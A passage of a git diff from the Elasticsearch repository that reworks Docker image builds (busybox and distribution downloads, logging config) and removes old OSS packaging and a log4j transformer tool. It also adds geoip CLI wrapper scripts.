start_period: 15s - test: ["CMD", "curl", "-f", "http://localhost:9200"] - interval: 10s - timeout: 2s - retries: 5 - elasticsearch-oss-2: - image: elasticsearch:test - environment: - - node.name=elasticsearch-oss-2 - - cluster.initial_master_nodes=elasticsearch-oss-1,elasticsearch-oss-2 - - discovery.seed_hosts=elasticsearch-oss-1:9300 - - cluster.name=elasticsearch-oss - - bootstrap.memory_lock=true - - "ES_JAVA_OPTS=-Xms512m -Xmx512m" - - path.repo=/tmp/es-repo - - node.attr.testattr=test - - cluster.routing.allocation.disk.watermark.low=1b - - cluster.routing.allocation.disk.watermark.high=1b - - cluster.routing.allocation.disk.watermark.flood_stage=1b - - node.store.allow_mmap=false - volumes: - - ./build/oss-repo:/tmp/es-repo - - ./build/logs/oss-2:/usr/share/elasticsearch/logs - ports: - - "9200" - ulimits: - memlock: - soft: -1 - hard: -1 - healthcheck: - start_period: 15s - test: ["CMD", "curl", "-f", "http://localhost:9200"] - interval: 10s - timeout: 2s - retries: 5 diff --git a/distribution/docker/oss-docker-aarch64-export/build.gradle b/distribution/docker/ironbank-aarch64-docker-export/build.gradle similarity index 100% rename from distribution/docker/oss-docker-aarch64-export/build.gradle rename to distribution/docker/ironbank-aarch64-docker-export/build.gradle diff --git a/distribution/docker/ironbank-docker-build-context/build.gradle b/distribution/docker/ironbank-docker-build-context/build.gradle deleted file mode 100644 index 00ddbe6ac374f..0000000000000 --- a/distribution/docker/ironbank-docker-build-context/build.gradle +++ /dev/null @@ -1,14 +0,0 @@ -import org.elasticsearch.gradle.Architecture -import org.elasticsearch.gradle.DockerBase - -apply plugin: 'base' - -tasks.register("buildIronBankDockerBuildContext", Tar) { - archiveExtension = 'tar.gz' - compression = Compression.GZIP - archiveClassifier = "docker-build-context" - archiveBaseName = "elasticsearch-ironbank" - // We always treat Iron Bank builds as local, because that is how they - // are built - with dockerBuildContext(Architecture.X64, false, DockerBase.IRON_BANK, true) -} diff --git a/distribution/docker/oss-docker-export/build.gradle b/distribution/docker/ironbank-docker-export/build.gradle similarity index 100% rename from distribution/docker/oss-docker-export/build.gradle rename to distribution/docker/ironbank-docker-export/build.gradle diff --git a/distribution/docker/oss-docker-build-context/build.gradle b/distribution/docker/oss-docker-build-context/build.gradle deleted file mode 100644 index 54fa932652d27..0000000000000 --- a/distribution/docker/oss-docker-build-context/build.gradle +++ /dev/null @@ -1,14 +0,0 @@ -import org.elasticsearch.gradle.DockerBase - -apply plugin: 'base' - -tasks.register("buildOssDockerBuildContext", Tar) { - archiveExtension = 'tar.gz' - compression = Compression.GZIP - archiveClassifier = "docker-build-context" - archiveBaseName = "elasticsearch-oss" - // Non-local builds don't need to specify an architecture. - with dockerBuildContext(null, true, DockerBase.CENTOS, false) -} - -tasks.named("assemble").configure { dependsOn "buildOssDockerBuildContext" } diff --git a/distribution/docker/src/docker/Dockerfile b/distribution/docker/src/docker/Dockerfile index 6a957c383079f..98cb5582a6477 100644 --- a/distribution/docker/src/docker/Dockerfile +++ b/distribution/docker/src/docker/Dockerfile @@ -112,7 +112,6 @@ RUN tar xfJ "\${TARBALL_PATH}" && \\ ################################################################################ FROM ${base_image} AS rootfs -ENV BUSYBOX_VERSION 1.31.0 ENV TINI_VERSION 0.19.0 # Start off with an up-to-date system @@ -151,14 +150,14 @@ RUN ${package_manager} --installroot=/rootfs --releasever=/ --setopt=tsflags=nod # all kinds of stuff we don't want. RUN set -e ; \\ TINI_BIN="" ; \\ - BUSYBOX_ARCH="" ; \\ + BUSYBOX_COMMIT="" ; \\ case "\$(arch)" in \\ aarch64) \\ - BUSYBOX_ARCH='armv8l' ; \\ + BUSYBOX_COMMIT='8a500845daeaeb926b25f73089c0668cac676e97' ; \\ TINI_BIN='tini-arm64' ; \\ ;; \\ x86_64) \\ - BUSYBOX_ARCH='x86_64' ; \\ + BUSYBOX_COMMIT='cc81bf8a3c979f596af2d811a3910aeaa230e8ef' ; \\ TINI_BIN='tini-amd64' ; \\ ;; \\ *) echo >&2 "Unsupported architecture \$(arch)" ; exit 1 ;; \\ @@ -169,15 +168,11 @@ RUN set -e ; \\ rm "\${TINI_BIN}.sha256sum" ; \\ mv "\${TINI_BIN}" /rootfs/bin/tini ; \\ chmod +x /rootfs/bin/tini ; \\ - curl --retry 10 -L -o /rootfs/bin/busybox \\ - "https://busybox.net/downloads/binaries/\${BUSYBOX_VERSION}-defconfig-multiarch-musl/busybox-\${BUSYBOX_ARCH}" ; \\ - chmod +x /rootfs/bin/busybox - -# Add links for most of the Busybox utilities -RUN set -e ; \\ - for path in \$( /rootfs/bin/busybox --list-full | grep -v bin/sh | grep -v telnet | grep -v unzip); do \\ - ln /rootfs/bin/busybox /rootfs/\$path ; \\ - done + curl --retry 10 -L -O \\ + # Here we're fetching the same binaries used for the official busybox docker image from their GtiHub repository + "https://github.com/docker-library/busybox/raw/\${BUSYBOX_COMMIT}/stable/musl/busybox.tar.xz" ; \\ + tar -xf busybox.tar.xz -C /rootfs/bin --strip=2 ./bin ; \\ + rm busybox.tar.xz ; # Curl needs files under here. More importantly, we change Elasticsearch's # bundled JDK to use /etc/pki/ca-trust/extracted/java/cacerts instead of @@ -222,20 +217,24 @@ FROM ${base_image} AS builder RUN mkdir /usr/share/elasticsearch WORKDIR /usr/share/elasticsearch -<% /* Fetch or copy the appropriate Elasticsearch distribution for this architecture */ %> -${source_elasticsearch} +<% /* + Fetch the appropriate Elasticsearch distribution for this architecture. + Keep this command on one line - it is replaced with a `COPY` during local builds. + It uses the `arch` command to fetch the correct distro for the build machine. +*/ %> +RUN curl --retry 10 -S -L --output /opt/elasticsearch.tar.gz https://artifacts-no-kpi.elastic.co/downloads/elasticsearch/elasticsearch-${version}-linux-\$(arch).tar.gz RUN tar -zxf /opt/elasticsearch.tar.gz --strip-components=1 # The distribution includes a `config` directory, no need to create it COPY ${config_dir}/elasticsearch.yml config/ -COPY ${bin_dir}/transform-log4j-config-${version}.jar /tmp/ +COPY ${config_dir}/log4j2.properties config/log4j2.docker.properties # 1. Configure the distribution for Docker # 2. Ensure directories are created. Most already are, but make sure # 3. Apply correct permissions # 4. Move the distribution's default logging config aside -# 5. Generate a docker logging config, to be used by default +# 5. Move the generated docker logging config so that it is the default # 6. Apply more correct permissions # 7. The JDK's directories' permissions don't allow `java` to be executed under a different # group to the default. Fix this. @@ -246,7 +245,7 @@ RUN sed -i -e 's/ES_DISTRIBUTION_TYPE=tar/ES_DISTRIBUTION_TYPE=docker/' bin/elas mkdir -p config/jvm.options.d data logs plugins && \\ chmod 0775 config config/jvm.options.d data logs plugins && \\ mv config/log4j2.properties config/log4j2.file.properties && \\ - jdk/bin/java -jar /tmp/transform-log4j-config-${version}.jar config/log4j2.file.properties > config/log4j2.properties && \\ + mv config/log4j2.docker.properties config/log4j2.properties && \\ chmod 0660 config/elasticsearch.yml config/log4j2*.properties && \\ find ./jdk -type d -exec chmod 0755 {} + && \\ find . -xdev -perm -4000 -exec chmod ug-s {} + && \\ @@ -281,7 +280,7 @@ RUN <%= retry.loop( %> RUN ${package_manager} update --setopt=tsflags=nodocs -y && \\ ${package_manager} install --setopt=tsflags=nodocs -y \\ - nc shadow-utils zip unzip && \\ + nc shadow-utils zip findutils unzip procps-ng && \\ ${package_manager} clean all <% } %> @@ -372,8 +371,8 @@ LABEL name="Elasticsearch" \\ <% if (docker_base == 'ubi') { %> RUN mkdir /licenses && cp LICENSE.txt /licenses/LICENSE <% } else if (docker_base == 'iron_bank') { %> -RUN mkdir /licenses -COPY LICENSE /licenses/LICENSE +RUN mkdir /licenses && cp LICENSE.txt /licenses/LICENSE +COPY LICENSE /licenses/LICENSE.addendum <% } %> USER elasticsearch:root diff --git a/distribution/docker/src/docker/bin/docker-entrypoint.sh b/distribution/docker/src/docker/bin/docker-entrypoint.sh index 0bbf769f887d3..51c6a641ae700 100755 --- a/distribution/docker/src/docker/bin/docker-entrypoint.sh +++ b/distribution/docker/src/docker/bin/docker-entrypoint.sh @@ -63,8 +63,9 @@ if [[ -n "$ES_LOG_STYLE" ]]; then # This is the default. Nothing to do. ;; file) - # Overwrite the default config with the stack config - mv /usr/share/elasticsearch/config/log4j2.file.properties /usr/share/elasticsearch/config/log4j2.properties + # Overwrite the default config with the stack config. Do this as a + # copy, not a move, in case the container is restarted. + cp -f /usr/share/elasticsearch/config/log4j2.file.properties /usr/share/elasticsearch/config/log4j2.properties ;; *) echo "ERROR: ES_LOG_STYLE set to [$ES_LOG_STYLE]. Expected [console] or [file]" >&2 diff --git a/distribution/docker/src/docker/config/oss/log4j2.properties b/distribution/docker/src/docker/config/oss/log4j2.properties deleted file mode 100644 index cca64a33c3443..0000000000000 --- a/distribution/docker/src/docker/config/oss/log4j2.properties +++ /dev/null @@ -1,44 +0,0 @@ -status = error - -appender.rolling.type = Console -appender.rolling.name = rolling -appender.rolling.layout.type = ECSJsonLayout -appender.rolling.layout.dataset = elasticsearch.server - -rootLogger.level = info -rootLogger.appenderRef.rolling.ref = rolling - -appender.header_warning.type = HeaderWarningAppender -appender.header_warning.name = header_warning - -appender.deprecation_rolling.type = Console -appender.deprecation_rolling.name = deprecation_rolling -appender.deprecation_rolling.layout.type = ECSJsonLayout -appender.deprecation_rolling.layout.dataset = elasticsearch.deprecation -appender.deprecation_rolling.filter.rate_limit.type = RateLimitingFilter - -logger.deprecation.name = org.elasticsearch.deprecation -logger.deprecation.level = deprecation -logger.deprecation.appenderRef.deprecation_rolling.ref = deprecation_rolling -logger.deprecation.appenderRef.header_warning.ref = header_warning -logger.deprecation.additivity = false - -appender.index_search_slowlog_rolling.type = Console -appender.index_search_slowlog_rolling.name = index_search_slowlog_rolling -appender.index_search_slowlog_rolling.layout.type = ECSJsonLayout -appender.index_search_slowlog_rolling.layout.dataset = elasticsearch.index_search_slowlog - -logger.index_search_slowlog_rolling.name = index.search.slowlog -logger.index_search_slowlog_rolling.level = trace -logger.index_search_slowlog_rolling.appenderRef.index_search_slowlog_rolling.ref = index_search_slowlog_rolling -logger.index_search_slowlog_rolling.additivity = false - -appender.index_indexing_slowlog_rolling.type = Console -appender.index_indexing_slowlog_rolling.name = index_indexing_slowlog_rolling -appender.index_indexing_slowlog_rolling.layout.type = ECSJsonLayout -appender.index_indexing_slowlog_rolling.layout.dataset = elasticsearch.index_indexing_slowlog - -logger.index_indexing_slowlog.name = index.indexing.slowlog.index -logger.index_indexing_slowlog.level = trace -logger.index_indexing_slowlog.appenderRef.index_indexing_slowlog_rolling.ref = index_indexing_slowlog_rolling -logger.index_indexing_slowlog.additivity = false diff --git a/distribution/docker/src/test/java/org/elasticsearch/docker/test/DockerYmlTestSuiteIT.java b/distribution/docker/src/test/java/org/elasticsearch/docker/test/DockerYmlTestSuiteIT.java index d3e475278c3fe..7ce27f90d9b0e 100644 --- a/distribution/docker/src/test/java/org/elasticsearch/docker/test/DockerYmlTestSuiteIT.java +++ b/distribution/docker/src/test/java/org/elasticsearch/docker/test/DockerYmlTestSuiteIT.java @@ -10,7 +10,6 @@ import com.carrotsearch.randomizedtesting.annotations.ParametersFactory; import org.elasticsearch.ElasticsearchException; import org.elasticsearch.client.Request; -import org.elasticsearch.common.CharArrays; import org.elasticsearch.common.io.PathUtils; import org.elasticsearch.common.settings.SecureString; import org.elasticsearch.common.settings.Settings; @@ -24,11 +23,8 @@ import java.io.IOException; import java.net.URISyntaxException; -import java.nio.CharBuffer; import java.nio.file.Files; import java.nio.file.Path; -import java.util.Arrays; -import java.util.Base64; public class DockerYmlTestSuiteIT extends ESClientYamlSuiteTestCase { @@ -130,22 +126,4 @@ protected String getProtocol() { } return "https"; } - - private static String basicAuthHeaderValue(String username, SecureString passwd) { - CharBuffer chars = CharBuffer.allocate(username.length() + passwd.length() + 1); - byte[] charBytes = null; - try { - chars.put(username).put(':').put(passwd.getChars()); - charBytes = CharArrays.toUtf8Bytes(chars.array()); - - //TODO we still have passwords in Strings in headers. Maybe we can look into using a CharSequence? - String basicToken = Base64.getEncoder().encodeToString(charBytes); - return "Basic " + basicToken; - } finally { - Arrays.fill(chars.array(), (char) 0); - if (charBytes != null) { - Arrays.fill(charBytes, (byte) 0); - } - } - } } diff --git a/distribution/docker/src/test/resources/rest-api-spec/test/11_nodes.yml b/distribution/docker/src/test/resources/rest-api-spec/test/11_nodes.yml index bb65ce5e8a709..66a2330aca261 100644 --- a/distribution/docker/src/test/resources/rest-api-spec/test/11_nodes.yml +++ b/distribution/docker/src/test/resources/rest-api-spec/test/11_nodes.yml @@ -7,7 +7,7 @@ - match: $body: | / #ip heap.percent ram.percent cpu load_1m load_5m load_15m node.role master name - ^ ((\d{1,3}\.){3}\d{1,3} \s+ \d+ \s+ \d* \s+ (-)?\d* \s+ ((-)?\d*(\.\d+)?)? \s+ ((-)?\d*(\.\d+)?)?\s+ ((-)?\d*(\.\d+)?)? \s+ (-|[cdfhilmrstvw]{1,11}) \s+ [-*x] \s+ (\S+\s?)+ \n)+ $/ + ^ ((\d{1,3}\.){3}\d{1,3} \s+ \d+ \s+ \d* \s+ (-)?\d* \s+ ((-)?\d*(\.\d+)?)? \s+ ((-)?\d*(\.\d+)?)?\s+ ((-)?\d*(\.\d+)?)? \s+ (-|[cdfhilmrstvw]{1,11}) \s+ [-*x] \s+ .* \n)+ $/ - do: cat.nodes: @@ -16,7 +16,7 @@ - match: $body: | /^ ip \s+ heap\.percent \s+ ram\.percent \s+ cpu \s+ load_1m \s+ load_5m \s+ load_15m \s+ node\.role \s+ master \s+ name \n - ((\d{1,3}\.){3}\d{1,3} \s+ \d+ \s+ \d* \s+ (-)?\d* \s+ ((-)?\d*(\.\d+)?)? \s+ ((-)?\d*(\.\d+)?)? \s+ ((-)?\d*(\.\d+)?)? \s+ (-|[cdfhilmrstvw]{1,11}) \s+ [-*x] \s+ (\S+\s?)+ \n)+ $/ + ((\d{1,3}\.){3}\d{1,3} \s+ \d+ \s+ \d* \s+ (-)?\d* \s+ ((-)?\d*(\.\d+)?)? \s+ ((-)?\d*(\.\d+)?)? \s+ ((-)?\d*(\.\d+)?)? \s+ (-|[cdfhilmrstvw]{1,11}) \s+ [-*x] \s+ .* \n)+ $/ - do: cat.nodes: diff --git a/distribution/docker/transform-log4j-config/build.gradle b/distribution/docker/transform-log4j-config/build.gradle deleted file mode 100644 index 7f239831e5ed8..0000000000000 --- a/distribution/docker/transform-log4j-config/build.gradle +++ /dev/null @@ -1,29 +0,0 @@ -apply plugin: 'elasticsearch.build' - -repositories { - jcenter() -} - -dependencies { - testImplementation "junit:junit:${versions.junit}" - testImplementation "org.hamcrest:hamcrest:${versions.hamcrest}" -} - -tasks.named('jar').configure { - manifest { - attributes 'Main-Class': 'org.elasticsearch.transform.log4j.TransformLog4jConfig' - } -} - -// This tests depend on ES core -disableTasks('forbiddenApisMain', 'forbiddenApisTest') - -tasks.named('testingConventions').configure { - naming.clear() - naming { - Tests { - baseClass 'junit.framework.TestCase' - } - } -} - diff --git a/distribution/docker/transform-log4j-config/src/main/java/org/elasticsearch/transform/log4j/TransformLog4jConfig.java b/distribution/docker/transform-log4j-config/src/main/java/org/elasticsearch/transform/log4j/TransformLog4jConfig.java deleted file mode 100644 index cd552bbdac02d..0000000000000 --- a/distribution/docker/transform-log4j-config/src/main/java/org/elasticsearch/transform/log4j/TransformLog4jConfig.java +++ /dev/null @@ -1,155 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.transform.log4j; - -import java.io.IOException; -import java.nio.file.Files; -import java.nio.file.Path; -import java.util.ArrayList; -import java.util.List; - -/** - * This class takes in a log4j configuration file, and transform it into a config that - * writes everything to the console. This is useful when running Elasticsearch in a Docker - * container, where the Docker convention is to log to stdout / stderr and let the - * orchestration layer direct the output. - */ -public class TransformLog4jConfig { - - public static void main(String[] args) throws IOException { - List lines = getConfigFile(args); - - final List output = skipBlanks(transformConfig(lines)); - - output.forEach(System.out::println); - } - - private static List getConfigFile(String[] args) throws IOException { - if (args.length != 1) { - System.err.println("ERROR: Must supply a single argument, the file to process"); - System.exit(1); - } - - Path configPath = Path.of(args[0]); - - if (Files.exists(configPath) == false) { - System.err.println("ERROR: [" + configPath + "] does not exist"); - System.exit(1); - } - - if (Files.isReadable(configPath) == false) { - System.err.println("ERROR: [" + configPath + "] exists but is not readable"); - System.exit(1); - } - - return Files.readAllLines(configPath); - } - - /** Squeeze multiple empty lines into a single line. */ - static List skipBlanks(List lines) { - boolean skipNextEmpty = false; - - final List output = new ArrayList<>(lines.size()); - - for (final String line : lines) { - if (line.isEmpty()) { - if (skipNextEmpty) { - continue; - } else { - skipNextEmpty = true; - } - } else { - skipNextEmpty = false; - } - - output.add(line); - } - - return output; - } - - static List transformConfig(List lines) { - final List output = new ArrayList<>(lines.size()); - - // This flag provides a way to handle properties whose values are split - // over multiple lines and we need to omit those properties. - boolean skipNext = false; - - for (String line : lines) { - if (skipNext) { - if (line.endsWith("\\") == false) { - skipNext = false; - } - continue; - } - - // Skip lines with this comment - we remove the relevant config - if (line.contains("old style pattern")) { - skipNext = line.endsWith("\\"); - continue; - } - - if (line.startsWith("appender.")) { - String[] parts = line.split("\\s*=\\s*"); - String key = parts[0]; - String[] keyParts = key.split("\\."); - String value = parts[1]; - - // We don't need to explicitly define a console appender because the - // "rolling" appender will become a console appender. We also don't - // carry over "*_old" appenders - if (keyParts[1].equals("console") || keyParts[1].endsWith("_old")) { - skipNext = line.endsWith("\\"); - continue; - } - - switch (keyParts[2]) { - case "type": - if (value.equals("RollingFile")) { - value = "Console"; - } - line = key + " = " + value; - break; - - case "fileName": - case "filePattern": - case "policies": - case "strategy": - // No longer applicable. Omit it. - skipNext = line.endsWith("\\"); - continue; - - default: - break; - } - } else if (line.startsWith("rootLogger.appenderRef")) { - String[] parts = line.split("\\s*=\\s*"); - - // The root logger only needs this appender - if (parts[1].equals("rolling") == false) { - skipNext = line.endsWith("\\"); - continue; - } - } else if (line.startsWith("logger.")) { - String[] parts = line.split("\\s*=\\s*"); - String key = parts[0]; - String[] keyParts = key.split("\\."); - - if (keyParts[2].equals("appenderRef") && keyParts[3].endsWith("_old")) { - skipNext = line.endsWith("\\"); - continue; - } - } - - output.add(line); - } - - return output; - } -} diff --git a/distribution/docker/transform-log4j-config/src/test/java/org/elasticsearch/transform/log4j/TransformLog4jConfigTests.java b/distribution/docker/transform-log4j-config/src/test/java/org/elasticsearch/transform/log4j/TransformLog4jConfigTests.java deleted file mode 100644 index 940fbeee1f9fc..0000000000000 --- a/distribution/docker/transform-log4j-config/src/test/java/org/elasticsearch/transform/log4j/TransformLog4jConfigTests.java +++ /dev/null @@ -1,150 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.transform.log4j; - -import junit.framework.TestCase; - -import java.util.List; - -import static org.hamcrest.Matchers.equalTo; -import static org.junit.Assert.assertThat; - -public class TransformLog4jConfigTests extends TestCase { - - /** - * Check that the transformer doesn't explode when given an empty file. - */ - public void testTransformEmptyConfig() { - runTest(List.of(), List.of()); - } - - /** - * Check that the transformer leaves non-appender lines alone. - */ - public void testTransformEchoesNonAppenderLines() { - List input = List.of( - "status = error", - "", - "##############################", - "rootLogger.level = info", - "example = \"broken\\", - " line\"" - ); - - runTest(input, input); - } - - /** - * Check that the root logger appenders are filtered to just the "rolling" appender - */ - public void testTransformFiltersRootLogger() { - List input = List.of( - "rootLogger.appenderRef.console.ref = console", - "rootLogger.appenderRef.rolling.ref = rolling", - "rootLogger.appenderRef.rolling_old.ref = rolling_old" - ); - List expected = List.of("rootLogger.appenderRef.rolling.ref = rolling"); - - runTest(input, expected); - } - - /** - * Check that any explicit 'console' or 'rolling_old' appenders are removed. - */ - public void testTransformRemoveExplicitConsoleAndRollingOldAppenders() { - List input = List.of( - "appender.console.type = Console", - "appender.console.name = console", - "appender.console.layout.type = PatternLayout", - "appender.console.layout.pattern = [%d{ISO8601}][%-5p][%-25c{1.}] [%node_name]%marker %m%n", - "appender.rolling_old.type = RollingFile", - "appender.rolling_old.name = rolling_old", - "appender.rolling_old.layout.type = PatternLayout", - "appender.rolling_old.layout.pattern = [%d{ISO8601}][%-5p][%-25c{1.}] [%node_name]%marker %m%n" - ); - - runTest(input, List.of()); - } - - /** - * Check that rolling file appenders are converted to console appenders. - */ - public void testTransformConvertsRollingToConsole() { - List input = List.of("appender.rolling.type = RollingFile", "appender.rolling.name = rolling"); - - List expected = List.of("appender.rolling.type = Console", "appender.rolling.name = rolling"); - - runTest(input, expected); - } - - /** - * Check that rolling file appenders have redundant properties removed. - */ - public void testTransformRemovedRedundantProperties() { - List input = List.of( - "appender.rolling.fileName = ${sys:es.logs.base_path}/${sys:es.logs.cluster_name}_server.json", - "appender.rolling.layout.type = ECSJsonLayout", - "appender.rolling.layout.dataset = elasticsearch.server", - "appender.rolling.filePattern = ${sys:es.logs.base_path}/${sys:es.logs.cluster_name}-%d{yyyy-MM-dd}-%i.json.gz", - "appender.rolling.policies.type = Policies", - "appender.rolling.strategy.type = DefaultRolloverStrategy" - ); - - List expected = List.of( - "appender.rolling.layout.type = ECSJsonLayout", - "appender.rolling.layout.dataset = elasticsearch.server" - ); - - runTest(input, expected); - } - - /** - * Check that rolling file appenders have redundant properties removed. - */ - public void testTransformSkipsPropertiesWithLineBreaks() { - List input = List.of( - "appender.rolling.fileName = ${sys:es.logs.base_path}${sys:file.separator}\\", - " ${sys:es.logs.cluster_name}_server.json", - "appender.rolling.layout.type = ECSJsonLayout" - ); - - List expected = List.of("appender.rolling.layout.type = ECSJsonLayout"); - - runTest(input, expected); - } - - /** - * Check that as well as skipping old appenders, logger references to them are also skipped. - */ - public void testTransformSkipsOldAppenderRefs() { - List input = List.of( - "logger.index_indexing_slowlog.appenderRef.index_indexing_slowlog_rolling_old.ref = index_indexing_slowlog_rolling_old" - ); - - runTest(input, List.of()); - } - - /** - * Check that multiple blank lines are reduced to a single line. - */ - public void testMultipleBlanksReducedToOne() { - List input = List.of("status = error", "", "", "rootLogger.level = info"); - - List expected = List.of("status = error", "", "rootLogger.level = info"); - - final List transformed = TransformLog4jConfig.skipBlanks(input); - assertThat(transformed, equalTo(expected)); - } - - private void runTest(List input, List expected) { - final List transformed = TransformLog4jConfig.transformConfig(input); - - assertThat(transformed, equalTo(expected)); - } -} diff --git a/distribution/docker/ubi-docker-build-context/build.gradle b/distribution/docker/ubi-docker-build-context/build.gradle deleted file mode 100644 index 56502412c0a4a..0000000000000 --- a/distribution/docker/ubi-docker-build-context/build.gradle +++ /dev/null @@ -1,13 +0,0 @@ -import org.elasticsearch.gradle.DockerBase - -apply plugin: 'base' - -tasks.register("buildUbiDockerBuildContext", Tar) { - archiveExtension = 'tar.gz' - compression = Compression.GZIP - archiveClassifier = "docker-build-context" - archiveBaseName = "elasticsearch-ubi8" - with dockerBuildContext(null, false, DockerBase.UBI, false) -} - -tasks.named("assemble").configure { dependsOn("buildUbiDockerBuildContext") } diff --git a/distribution/packages/aarch64-oss-deb/build.gradle b/distribution/packages/aarch64-oss-deb/build.gradle deleted file mode 100644 index 4a6dde5fc0c92..0000000000000 --- a/distribution/packages/aarch64-oss-deb/build.gradle +++ /dev/null @@ -1,2 +0,0 @@ -// This file is intentionally blank. All configuration of the -// distribution is done in the parent project. diff --git a/distribution/packages/aarch64-oss-rpm/build.gradle b/distribution/packages/aarch64-oss-rpm/build.gradle deleted file mode 100644 index 4a6dde5fc0c92..0000000000000 --- a/distribution/packages/aarch64-oss-rpm/build.gradle +++ /dev/null @@ -1,2 +0,0 @@ -// This file is intentionally blank. All configuration of the -// distribution is done in the parent project. diff --git a/distribution/packages/build.gradle b/distribution/packages/build.gradle index f13abd3122cb9..f871f3c28c000 100644 --- a/distribution/packages/build.gradle +++ b/distribution/packages/build.gradle @@ -7,9 +7,9 @@ */ import org.elasticsearch.gradle.LoggedExec -import org.elasticsearch.gradle.MavenFilteringHack +import org.elasticsearch.gradle.internal.MavenFilteringHack import org.elasticsearch.gradle.OS -import org.elasticsearch.gradle.info.BuildParams +import org.elasticsearch.gradle.internal.info.BuildParams import org.redline_rpm.header.Flags import java.nio.file.Files @@ -42,10 +42,18 @@ import java.util.regex.Pattern * dpkg -c path/to/elasticsearch.deb */ -plugins { - id "nebula.ospackage-base" version "8.3.0" +buildscript { + repositories { + mavenCentral() + maven { url 'https://jitpack.io' } + } + dependencies { + classpath "com.github.breskeby:gradle-ospackage-plugin:ddb72a9922b934033827d48d296f7f3d470ac422" + } } +apply plugin: "nebula.ospackage-base" + void addProcessFilesTask(String type, boolean oss, boolean jdk) { String packagingFiles = "build/packaging/${oss ? 'oss-' : ''}${jdk ? '' : 'no-jdk-'}${type}" @@ -145,7 +153,7 @@ Closure commonPackageConfig(String type, boolean oss, boolean jdk, String archit with libFiles(oss) } into('modules') { - with modulesFiles(oss, 'linux-' + ((architecture == 'x64') ? 'x86_64' : architecture)) + with modulesFiles('linux-' + ((architecture == 'x64') ? 'x86_64' : architecture)) } if (jdk) { into('jdk') { diff --git a/distribution/packages/oss-deb/build.gradle b/distribution/packages/oss-deb/build.gradle deleted file mode 100644 index 4a6dde5fc0c92..0000000000000 --- a/distribution/packages/oss-deb/build.gradle +++ /dev/null @@ -1,2 +0,0 @@ -// This file is intentionally blank. All configuration of the -// distribution is done in the parent project. diff --git a/distribution/packages/oss-no-jdk-deb/build.gradle b/distribution/packages/oss-no-jdk-deb/build.gradle deleted file mode 100644 index 4a6dde5fc0c92..0000000000000 --- a/distribution/packages/oss-no-jdk-deb/build.gradle +++ /dev/null @@ -1,2 +0,0 @@ -// This file is intentionally blank. All configuration of the -// distribution is done in the parent project. diff --git a/distribution/packages/oss-no-jdk-rpm/build.gradle b/distribution/packages/oss-no-jdk-rpm/build.gradle deleted file mode 100644 index 4a6dde5fc0c92..0000000000000 --- a/distribution/packages/oss-no-jdk-rpm/build.gradle +++ /dev/null @@ -1,2 +0,0 @@ -// This file is intentionally blank. All configuration of the -// distribution is done in the parent project. diff --git a/distribution/packages/oss-rpm/build.gradle b/distribution/packages/oss-rpm/build.gradle deleted file mode 100644 index 4a6dde5fc0c92..0000000000000 --- a/distribution/packages/oss-rpm/build.gradle +++ /dev/null @@ -1,2 +0,0 @@ -// This file is intentionally blank. All configuration of the -// distribution is done in the parent project. diff --git a/distribution/src/bin/elasticsearch-geoip b/distribution/src/bin/elasticsearch-geoip new file mode 100755 index 0000000000000..47cf3adfa75dc --- /dev/null +++ b/distribution/src/bin/elasticsearch-geoip @@ -0,0 +1,6 @@ +#!/bin/bash + +ES_MAIN_CLASS=org.elasticsearch.geoip.GeoIpCli \ + ES_ADDITIONAL_CLASSPATH_DIRECTORIES=lib/tools/geoip-cli \ + "`dirname "$0"`"/elasticsearch-cli \ + "$@" diff --git a/distribution/src/bin/elasticsearch-geoip.bat b/distribution/src/bin/elasticsearch-geoip.bat new file mode 100644 index 0000000000000..a1d82ba16c571 --- /dev/null +++ b/distribution/src/bin/elasticsearch-geoip.bat @@ -0,0 +1,15 @@ +@echo off + +setlocal enabledelayedexpansion +setlocal enableextensions + +set ES_MAIN_CLASS=org.elasticsearch.geoip.GeoIpCli +set ES_ADDITIONAL_CLASSPATH_DIRECTORIES=lib/tools/geoip-cli +call "%~dp0elasticsearch-cli.bat" ^ + %%* ^ + || goto exit + +endlocal +endlocal +:exit +exit /b %ERRORLEVEL% diff --git a/distribution/src/config/elasticsearch.yml b/distribution/src/config/elasticsearch.yml index 14e1afa5de4b3..8e7808ccf64c6 100644 --- a/distribution/src/config/elasticsearch.yml +++ b/distribution/src/config/elasticsearch.yml @@ -77,6 +77,6 @@ ${path.logs} # # ---------------------------------- Various ----------------------------------- # -# Require explicit names when deleting indices: +# Allow wildcard deletion of indices: # -#action.destructive_requires_name: true +#action.destructive_requires_name: false diff --git a/distribution/src/config/log4j2.properties b/distribution/src/config/log4j2.properties index d597db7292d9f..ac5287e8d54c7 100644 --- a/distribution/src/config/log4j2.properties +++ b/distribution/src/config/log4j2.properties @@ -62,7 +62,8 @@ appender.deprecation_rolling.type = RollingFile appender.deprecation_rolling.name = deprecation_rolling appender.deprecation_rolling.fileName = ${sys:es.logs.base_path}${sys:file.separator}${sys:es.logs.cluster_name}_deprecation.json appender.deprecation_rolling.layout.type = ECSJsonLayout -appender.deprecation_rolling.layout.dataset = elasticsearch.deprecation +# Intentionally follows a different pattern to above +appender.deprecation_rolling.layout.dataset = deprecation.elasticsearch appender.deprecation_rolling.filter.rate_limit.type = RateLimitingFilter appender.deprecation_rolling.filePattern = ${sys:es.logs.base_path}${sys:file.separator}${sys:es.logs.cluster_name}_deprecation-%i.json.gz diff --git a/distribution/tools/geoip-cli/build.gradle b/distribution/tools/geoip-cli/build.gradle new file mode 100644 index 0000000000000..b285ed95307a6 --- /dev/null +++ b/distribution/tools/geoip-cli/build.gradle @@ -0,0 +1,18 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +apply plugin: 'elasticsearch.build' + +archivesBaseName = 'elasticsearch-geoip-cli' + +dependencies { + compileOnly project(":server") + compileOnly project(":libs:elasticsearch-cli") + compileOnly project(":libs:elasticsearch-x-content") + testImplementation 